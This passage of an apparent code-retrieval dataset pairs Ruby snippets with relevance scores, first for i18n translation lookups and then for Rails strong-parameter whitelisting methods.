return lang[singular][n] unless lang[singular][n].nil?\n else\n return lang[singular] unless lang[singular].nil?\n end\n end\n end\n return n > 1 ? plural : singular\n end", "title": "" }, { "docid": "ae9777ffe3f18988ab39f3901dd1b568", "score": "0.6199075", "text": "def lookup_translation(locale, phrase)\n raise NotImplementedError,\n 'expected to be implemented in derived classes'\n end", "title": "" }, { "docid": "f4a769d7a3d81f74be063d581ed7b5d3", "score": "0.6197194", "text": "def _(element)\n LAYOUT_TRANSLATIONS[element][@item[:language]]\nend", "title": "" }, { "docid": "b9662ce392e13d4e7e67e0714f566d3c", "score": "0.61954445", "text": "def lookup(locale, key, scope = [], options = {})\n key = normalize_flat_keys(locale, key, scope, options[:separator])\n\n return if translations.missing?(locale, key)\n\n result = translations.lookup(locale, key, options)\n translations.missing(locale, key, options) if result.nil?\n\n result\n # As localization can be used in routes and as routes is loaded also when running `rake db:create`\n # we want to supress those errors and silently return nil as developer/user will get database errors\n # anyway when call to models will be made (let others do this)\n rescue ActiveRecord::NoDatabaseError, ActiveRecord::StatementInvalid\n nil\n end", "title": "" }, { "docid": "6989fa2e6f8924a47a418fe447f5c6f1", "score": "0.61898154", "text": "def language\n current_locale = I18n.locale \n if current_locale != :\"#{self.locale}\"\n I18n.locale = :\"#{self.locale}\"\n end\n lan = I18n.translate(\"language\")\n I18n.locale = current_locale\n return lan \n end", "title": "" }, { "docid": "5282b18eb50eaffaab7344accff2f6a0", "score": "0.61867887", "text": "def translations\n attribute_ = attribute.to_sym\n if model.deserialized_values.has_key?(attribute_)\n model.deserialized_values[attribute_]\n elsif model.frozen?\n deserialize_value(attribute_, serialized_value)\n else\n model.deserialized_values[attribute_] = deserialize_value(attribute_, serialized_value)\n end\n end", "title": "" }, { "docid": "780c051b71792ebbb06f3e050d3206a5", "score": "0.61769855", "text": "def translation_attribute(attribute, _translation_options = nil)\n return :registered_company_name if attribute == :org_name && type == 'REG_COM'\n\n return translation_attribute_full_name if attribute == :full_name\n\n return translation_for_claim(attribute) if claim?\n\n return translation_attribute_for_party_type(attribute) if translate_party_type?(attribute)\n\n attribute\n end", "title": "" }, { "docid": "6cc1516bf4b84b00ce0e9b631e92010b", "score": "0.6166052", "text": "def translate_attr(class_name, attr_name)\n I18n.t(\"activerecord.attributes.#{class_name.to_s.gsub('::', '/').downcase}.#{attr_name}\")\n end", "title": "" }, { "docid": "3e19b651252bd6596a5e5b4b37c4e3da", "score": "0.6162379", "text": "def var_translate text, locale\n is_var?(text) ? text : service.translate(text, locale)\n end", "title": "" }, { "docid": "7f9859e1740fadb95ee0a37396c090a9", "score": "0.61608595", "text": "def lookup(locale, key, scope = [], options = {})\n possible_locales = [locale, ::I18n.default_locale, ::I18n.available_locales].flatten.uniq\n possible_locales.each do |possible_locale|\n next unless translation = super(possible_locale, key, scope, options)\n unless translation.frozen?\n translation.singleton_class.send(:include, LocalizedString)\n translation.locale = possible_locale\n translation.fallback = (possible_locale != locale)\n end\n return translation\n end\n nil\n end", "title": "" }, { "docid": "1933b682915ed58ff45ed6645c2ab394", "score": "0.61359495", "text": "def locale = @lock.with_read_lock { @context.locale(true).code }", "title": "" }, { "docid": "ecb7784c94465ebff5737968833090b0", "score": "0.6131785", "text": "def get(locale, key)\n return nil if !locale || !key\n\n # Populate backends which do not have the translation from a backend that does\n unfilled = backends.select do |backend|\n !exists_in_backend?(backend, locale, key)\n end\n filled = (backends - unfilled).last\n\n if unfilled && filled\n value = filled.translate(locale, key)\n unfilled.each do |backend|\n backend.store_translations(locale, {key => value}, :escape => false)\n end\n\n value\n elsif unfilled && !filled\n # All backends are empty. Populate using 'key' as both the key and\n # the value.\n unfilled.each do |backend|\n backend.store_translations(locale, {key => key}, :escape => false)\n end\n\n key\n else\n key\n end\n end", "title": "" }, { "docid": "065e71f50f69034ee72c48c38c4f1287", "score": "0.6128521", "text": "def get_name_by_locale\n I18n.locale == :en ? english_name : arabic_name\n end", "title": "" }, { "docid": "cce7211084a1e3a7bbb66d081fc80537", "score": "0.6107155", "text": "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.slideshow_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.slideshow_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "title": "" }, { "docid": "d0ec457f59e6621de61e5d52ebba4cca", "score": "0.60911983", "text": "def language\n read_attribute(:language) || 'en'\n end", "title": "" }, { "docid": "e0a3751cb013562b4563b2ec88535e61", "score": "0.6075349", "text": "def read_properties locale, file_path\n JavaProperties.load(file_path).each do |key, value|\n translations.add locale, key, value\n end\n end", "title": "" }, { "docid": "da709a556e9d96e82b33ac1c444dd10d", "score": "0.6069844", "text": "def load_localization(locale = nil)\n if locale.blank? || locale.id.blank?\n @current_localization = load_default_localizations\n else\n @current_localization = localizations.where(\"locale_id = ?\", locale.id).first\n end\n @current_localization\n end", "title": "" }, { "docid": "3343ae56be3d3bd2d57491e28034d3f9", "score": "0.60681355", "text": "def trans(locale, str)\n locale = locale.to_s\n str = str.to_s\n\n if !@langs.key?(locale)\n raise \"Locale was not found: '#{locale}' in '#{@langs.keys.join(\", \")}'.\"\n end\n\n return str if !@langs[locale].key?(str)\n return @langs[locale][str]\n end", "title": "" }, { "docid": "c8e86595bfeaa0977e3755f4597c86df", "score": "0.6067704", "text": "def read_attribute(name)\n #simply return from attributes\n @attributes[name.to_sym]\n end", "title": "" }, { "docid": "284f2428df593764a55edc68db8601e6", "score": "0.6066257", "text": "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.content_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.content_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "title": "" }, { "docid": "c9d2b625fd4016c000fc1d8abd506b74", "score": "0.60651076", "text": "def name(locale = nil)\n locale = GetText.locale.to_s if locale.nil?\n ret = self.names[locale]\n if ret.blank?\n ret = self.id.nil? ? '' : self.names['en']\n end\n ret\n end", "title": "" }, { "docid": "6c53d909e713c09777f401fd3cc3a5fe", "score": "0.6062919", "text": "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.medium_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.medium_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "title": "" }, { "docid": "ffb3feb7ce2835e99e73e876b944ef24", "score": "0.6059549", "text": "def translate_attribute(a, name, resource)\n case resource.get_variabletype(a)\n when 'CONSTANT'\n translate_constant(a, name, resource)\n when 'VARIABLE'\n translate_variable(a, name, resource)\n when 'VARIABLE_HASONE'\n translate_variable_hasone(a, resource)\n when 'CONSTANT_HASONE'\n translate_constant_relation(a, resource)\n when 'VARIABLE_HASMANY'\n translate_variable_hasmany(a, resource)\n when 'CONSTANT_HASMANY'\n translate_constant_relation(a, resource)\n end\n end", "title": "" }, { "docid": "c65d9226da46ac49d39240acbdae6a4d", "score": "0.60470665", "text": "def trans_locale(args = {})\n if args.is_a?(Hash) and args[:locale]\n return args[:locale]\n elsif _session and _session[:locale]\n return _session[:locale]\n elsif _httpsession and _httpsession.data[:locale]\n return _httpsession.data[:locale]\n elsif Thread.current[:locale]\n return Thread.current[:locale]\n elsif @config[:locale_default]\n return @config[:locale_default]\n end\n \n raise \"Could not figure out locale.\"\n end", "title": "" }, { "docid": "196b9b5f1b2dfc9422ca6a5a68dbbe70", "score": "0.6037546", "text": "def string(lang, key, quantity=nil)\n\t\t\tif localized1 = @strings[lang] then\n\t\t\t\tif localized2 = localized1[key] then\n\t\t\t\t\tquantity ? localized2[quantity] : localized2\n\t\t\t\telsif lang != 'en_US' && localized1 = @strings['en_US'] then\n\t\t\t\t\tif localized2 = localized1[key] then\n\t\t\t\t\t\twarn \"Couldn't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}, falling back to en_US\"\n\t\t\t\t\t\tquantity ? localized2[quantity] : localized2\n\t\t\t\t\telse\n\t\t\t\t\t\traise LocalizationError, \"Can't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}\"\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\traise LocalizationError, \"Can't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}\"\n\t\t\t\tend\n\t\t\telsif lang != 'en_US' && localized1 = @strings['en_US'] then\n\t\t\t\tif localized2 = localized1[key] then\n\t\t\t\t\twarn \"Couldn't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}, falling back to en_US\"\n\t\t\t\t\tquantity ? localized2[quantity] : localized2\n\t\t\t\telse\n\t\t\t\t\traise LocalizationError, \"Can't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\traise LocalizationError, \"Can't localize #{key.inspect} for #{lang} with quantity #{quantity.inspect}\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "a348e4ac3ef66aaca09865674b75379c", "score": "0.6028608", "text": "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.youtube_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.youtube_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "title": "" }, { "docid": "c0b4826923e8bc278de68acb665e37a5", "score": "0.6021279", "text": "def language\n attributes.fetch(:language)\n end", "title": "" }, { "docid": "fde8439031bb0de7898615938124c129", "score": "0.60206586", "text": "def google_translate(locale, word)\n @@cache ||= {}\n return @@cache[word] if @@cache[word]\n begin\n w = CGI.escape ActiveSupport::Inflector.humanize(word)\n uri = \"http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=#{w}&langpair=en%7C#{locale}\"\n logger.debug uri\n json = OpenURI.open_uri(uri).read\n result = ActiveSupport::JSON.decode(json)\n result['responseStatus'] == 200 ? (@@cache[word] = result['responseData']['translatedText']) : word\n rescue => e\n logger.debug %Q[failed to translate \"#{word}\" into \"#{locale}\" language.]\n word\n end\n end", "title": "" }, { "docid": "546fe567ab14137b8eb6d06af1eaba89", "score": "0.6012781", "text": "def parse_translated_attribute_accessor(method_name)\n return unless /\\A(?<attribute>[a-z_]+)_(?<locale>[a-z]{2})(?<assignment>=?)\\z/ =~ method_name\n\n translated_attr_name = attribute.to_sym\n return unless translated_attribute_names.include?(translated_attr_name)\n\n locale = locale.to_sym\n assigning = assignment.present?\n\n [translated_attr_name, locale, assigning]\n end", "title": "" }, { "docid": "8f6b3eca6f977d25b547542e9a5cbded", "score": "0.5996433", "text": "def message_in_english\n #hash = @translation_interpolations.clone\n #hash[:locale] = :en\n #puts @translation_interpolations\n #puts hash\n return message 'en' \n end", "title": "" }, { "docid": "1988d25a7152450a64414f135fb90686", "score": "0.59949297", "text": "def language\n attributes['language'] || \"en\"\n end", "title": "" }, { "docid": "603564dff7140a34e9a0dc597703d239", "score": "0.59937346", "text": "def translated?\n instance.respond_to?(:translated_locales) && instance.translated?(:\"#{name}_file_name\")\n end", "title": "" }, { "docid": "98e3d73da467d86680781e80d748aa62", "score": "0.59892505", "text": "def get_locale\n @locale\n end", "title": "" }, { "docid": "f6289dbd0817d510fcfb1440c7866b79", "score": "0.59828776", "text": "def parse_translated_attribute_accessor(method_name)\n return unless /(?<attribute>[a-z_]+)_(?<locale>[a-z]{2})(?<assignment>=?)\\z/ =~ method_name\n\n translated_attr_name = attribute.to_sym\n return unless translated_attribute_names.include?(translated_attr_name)\n\n locale = locale.to_sym\n assigning = assignment.present?\n\n [translated_attr_name, locale, assigning]\n end", "title": "" }, { "docid": "b3a2e9f65353982b75b2e97cefd724b5", "score": "0.59769565", "text": "def translated_field?(field_or_name)\n field = field_or_name.respond_to?(:name) ? field_or_name : self.fields[field_or_name.to_s]\n\n if field.try(:localized?)\n locale = ::Mongoid::Fields::I18n.locale.to_s\n (self.attributes[field.name] || {}).key?(locale)\n else\n nil\n end\n end", "title": "" }, { "docid": "656e1e32d6b074ed773fddab1abb4371", "score": "0.5968497", "text": "def translated?\n if self.respond_to?(:\"#{_label_field_name}_translations\")\n self.send(:\"#{_label_field_name}_translations\").key?(::Mongoid::Fields::I18n.locale.to_s) #rescue false\n else\n true\n end\n end", "title": "" }, { "docid": "d3ae68bf6200409c2a5407565940c9b3", "score": "0.59620935", "text": "def read_attribute(name)\n attributes[name.to_sym]\n end", "title": "" }, { "docid": "2b26a45c8659a779d97f44419a87a329", "score": "0.595494", "text": "def localized_description\n description.send(I18n.locale) if description.is_a?(Hash) && description[I18n.locale]\n end", "title": "" }, { "docid": "c490c4549be6e45b10191fd66d3037ce", "score": "0.59436095", "text": "def trns(locale_symbol)\n return @trns unless @trns.nil?\n t = self.translations.where(:locale => locale_symbol.to_s).first\n @trns = t ? YAML.load(t.translation || \"{}\").with_indifferent_access : {}\n end", "title": "" }, { "docid": "0bdeff89edb49c736f964e3b0c558cb9", "score": "0.5927656", "text": "def translate_key(key, lang, site)\n translation = site.parsed_translations[lang].access(key) if key.is_a?(String)\n\n if translation.nil? or translation.empty?\n translation = site.parsed_translations[site.config['default_lang']].access(key)\n\n puts \"Missing i18n key: #{lang}:#{key}\"\n puts \"Using translation '%s' from default language: %s\" %[translation, site.config['default_lang']]\n end\n\n translation\nend", "title": "" }, { "docid": "d02746769fb019a26bb6a75296914e32", "score": "0.5921666", "text": "def is_translated?(attrib)\n attrib_sym = attrib.to_sym\n return (self.class.has_translated_field?(attrib_sym)) && (attr[attrib_sym].to_s[0..2] == 'tl:')\n end", "title": "" }, { "docid": "0a8dc4ecc34db8ff530c42f344496609", "score": "0.59163034", "text": "def get_translated_attributes(language_code)\n\n ::Model::Translation::TranslationTerm.find_translations_by_language(translation.id, language_code)\n\n end", "title": "" }, { "docid": "0a8dc4ecc34db8ff530c42f344496609", "score": "0.59163034", "text": "def get_translated_attributes(language_code)\n\n ::Model::Translation::TranslationTerm.find_translations_by_language(translation.id, language_code)\n\n end", "title": "" }, { "docid": "0a8dc4ecc34db8ff530c42f344496609", "score": "0.59163034", "text": "def get_translated_attributes(language_code)\n\n ::Model::Translation::TranslationTerm.find_translations_by_language(translation.id, language_code)\n\n end", "title": "" }, { "docid": "5bbf7e00af34dde6361209d15966ca1e", "score": "0.59039736", "text": "def read_attribute(name)\n attributes[name.to_sym]\n end", "title": "" }, { "docid": "6eece122552d3c0526e83696fc9150b2", "score": "0.59039164", "text": "def translated?(locale, key)\n I18n.with_locale(locale) { I18n.translate!(key, fallback: false) }\n return true\n rescue I18n::MissingTranslationData\n return false\n end", "title": "" }, { "docid": "335961c358398912a0fb0cb91e9b31b1", "score": "0.5886394", "text": "def translations; end", "title": "" }, { "docid": "346d6d7b902977787b9786bdaa466ca6", "score": "0.5885976", "text": "def codebook\n get_translation(self.codebook_translations, self.dataset.current_locale, self.dataset.default_language)\n end", "title": "" }, { "docid": "cb04cf46b059be2e8c3f9f50fbd3e0f9", "score": "0.5883025", "text": "def create_translations_getter(name, meth)\n generated_methods.module_eval do\n re_define_method(\"#{meth}_translations\") do\n attributes[name] ||= {}\n attributes[name].with_indifferent_access\n end\n alias_method :\"#{meth}_t\", :\"#{meth}_translations\"\n end\n end", "title": "" }, { "docid": "a5fa30f2566088abf4723453bce4d6d9", "score": "0.58809716", "text": "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.embed_medium_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.embed_medium_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "title": "" }, { "docid": "9824543742ae875bc0c49bf38c3d85d4", "score": "0.5871838", "text": "def read_attribute(name)\n @attributes ||= {}\n return @attributes[name.to_sym]\n end", "title": "" }, { "docid": "dfdbf6bea7333c337e5b6a0b85df6b71", "score": "0.5871329", "text": "def localized_name(locale)\n locale ||= Language.default.abbreviation\n if (spc = contents.find_by(language: Language.find_by(abbreviation: locale)))\n spc.title.empty? ? name : spc.title\n else\n name\n end\n end", "title": "" }, { "docid": "7c46aab9a1e797c90551a63b8768982d", "score": "0.5867685", "text": "def name(locale=nil)\n I18n.with_locale(locale || I18n.locale) do\n i18n_language = if extended_language\n I18n.t \"locale.extended.#{iso639}.#{extended_language}\"\n else\n I18n.t \"locale.name.#{iso639}\"\n end\n\n i18n_dialect = if variants.present?\n I18n.t \"locale.variant.#{iso639}.#{variants.join '.'}._END_\"\n else\n nil\n end\n\n i18n_script = script ? I18n.t(\"locale.script.#{script}\") : nil\n i18n_region = region ? I18n.t(\"locale.region.#{region}\") : nil\n\n if i18n_region && i18n_dialect && i18n_script\n I18n.t 'locale.format.scripted_regional_dialectical', script: i18n_script, dialect: i18n_dialect, region: i18n_region, language: i18n_language\n elsif i18n_region && i18n_dialect\n I18n.t 'locale.format.regional_dialectical', dialect: i18n_dialect, region: i18n_region, language: i18n_language\n elsif i18n_region && i18n_script\n I18n.t 'locale.format.scripted_regional', script: i18n_script, region: i18n_region, language: i18n_language\n elsif i18n_dialect && i18n_script\n I18n.t 'locale.format.scripted_dialectical', script: i18n_script, dialect: i18n_dialect, language: i18n_language\n elsif i18n_script\n I18n.t 'locale.format.scripted', script: i18n_script, language: i18n_language\n elsif i18n_dialect\n I18n.t 'locale.format.dialectical', dialect: i18n_dialect, language: i18n_language\n elsif i18n_region\n I18n.t 'locale.format.regional', region: i18n_region, language: i18n_language\n else\n i18n_language\n end\n end\n end", "title": "" }, { "docid": "6c069048c71ffc73093c7ab99c0c6cbc", "score": "0.58544916", "text": "def label_translate(label_name)\n I18n.t(\"labels.#{label_name}\")\n end", "title": "" }, { "docid": "6c069048c71ffc73093c7ab99c0c6cbc", "score": "0.58544916", "text": "def label_translate(label_name)\n I18n.t(\"labels.#{label_name}\")\n end", "title": "" }, { "docid": "8fd53133dd8ca9a6e0f4051992497bcf", "score": "0.5854333", "text": "def localized scope, attribute, default\n found = if @options[:i18n_attribute]\n key = \"#{@object_name}.#{@options[:i18n_attribute]}\"\n\n I18n.translate(key, default: '', scope: scope).presence ||\n I18n.translate(\"#{key}_html\", default: '', scope: scope).html_safe.presence\n end\n\n return found if found\n\n key = \"#{@object_name}.#{attribute}\"\n\n # Passes blank String as default because nil is interpreted as no default\n I18n.translate(key, default: '', scope: scope).presence ||\n I18n.translate(\"#{key}_html\", default: default, scope: scope).html_safe.presence\n end", "title": "" }, { "docid": "83d00d40ab833c155d4a529875bcd5a2", "score": "0.58425903", "text": "def show\n @relevant_locale = @translation.locale\n @relevant_locale_name = @relevant_locale.name\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @translation }\n end\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "031392d657ce0fa5dfce3801d63f234f", "score": "0.0", "text": "def backend_params\n params.require(:backend).permit(:title, :artist, :album, :cover, :mp3file)\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6980244", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6782812", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6745103", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.6741142", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6733961", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.65925", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6503602", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.64967257", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.64822173", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.64796996", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6456357", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6439594", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63803256", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.6376499", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.63644457", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6319286", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6299465", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.6298051", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.62935406", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.62923044", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.6291212", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6291073", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283318", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6240518", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62398005", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.62181634", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214569", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.62109077", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.61940056", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.61784893", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.61742175", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61721945", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6162829", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.61528105", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6152724", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61469215", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.6122237", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61168486", "text": "def check_params; true; end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.61067575", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106625", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.60911", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081634", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6070881", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6062597", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6021349", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.6017612", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.60133123", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.60113484", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6006092", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6006092", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.60013616", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6000388", "text": "def 